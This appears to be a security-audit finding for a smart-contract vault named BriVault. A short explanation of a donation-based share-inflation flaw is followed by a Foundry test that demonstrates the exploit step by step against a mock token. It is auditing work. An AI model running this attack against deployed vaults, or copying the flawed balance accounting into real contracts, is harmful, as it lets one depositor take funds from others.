If extra tokens are sent directly to the contract (bypassing deposit), they increase balanceOf(address(this)) without minting shares. This inflates finalizedVaultAsset, giving winners extra funds (donation effect).
function test_AttackerInflates() public{
uint user1InitialDeposit = 0.0004 ether;
uint user1Donation = 19 ether;
uint user2InitialDeposit = 0.0004 ether;
vm.startPrank(owner);
briVault.setCountry(countries);
vm.stopPrank();
vm.startPrank(user1);
mockToken.approve(address(briVault), type(uint).max);
uint256 user1Shares = briVault.deposit(user1InitialDeposit, user1);
briVault.joinEvent(10);
vm.stopPrank();
console.log("=======================================");
console.log("User1 shares after first deposit: ", user1Shares);
console.log("Balance of the vault: ", mockToken.balanceOf(address(briVault)));
console.log("=======================================");
vm.startPrank(user1);
IERC20(mockToken).transfer(address(briVault), user1Donation);
console.log("User1 shares after Donation: ", user1Shares);
console.log("Balance of the vault after Donation: ", mockToken.balanceOf(address(briVault)));
console.log("=======================================");
vm.startPrank(user2);
mockToken.approve(address(briVault), type(uint).max);
uint256 user2Shares = briVault.deposit(user2InitialDeposit, user2);
briVault.joinEvent(10);
vm.stopPrank();
console.log("User1 shares after user2 deposits: ", user1Shares);
console.log("User2 shares after user2 deposits: ", user2Shares);
console.log("Balance of the vault after user2 deposits: ", mockToken.balanceOf(address(briVault)));
console.log("=======================================");
vm.warp(eventEndDate + 1);
vm.startPrank(owner);
briVault.setWinner(10);
console.log("Finalized Vault Assets: ", briVault.finalizedVaultAsset());
console.log("=======================================");
vm.stopPrank();
console.log("User1 shares: ", user1Shares);
console.log("User2 shares: ", user2Shares);
console.log("=======================================");
assert(user1Shares > user2Shares);
vm.startPrank(user1);
briVault.withdraw();
vm.stopPrank();
vm.startPrank(user2);
briVault.withdraw();
vm.stopPrank();
console.log("Balance of user1: ", mockToken.balanceOf(user1));
console.log("Balance of user2: ", mockToken.balanceOf(user2));
uint finalBalanceUser1 = mockToken.balanceOf(user1);
uint finalBalanceUser2 = mockToken.balanceOf(user2);
vm.assertGt(finalBalanceUser1, finalBalanceUser2);
}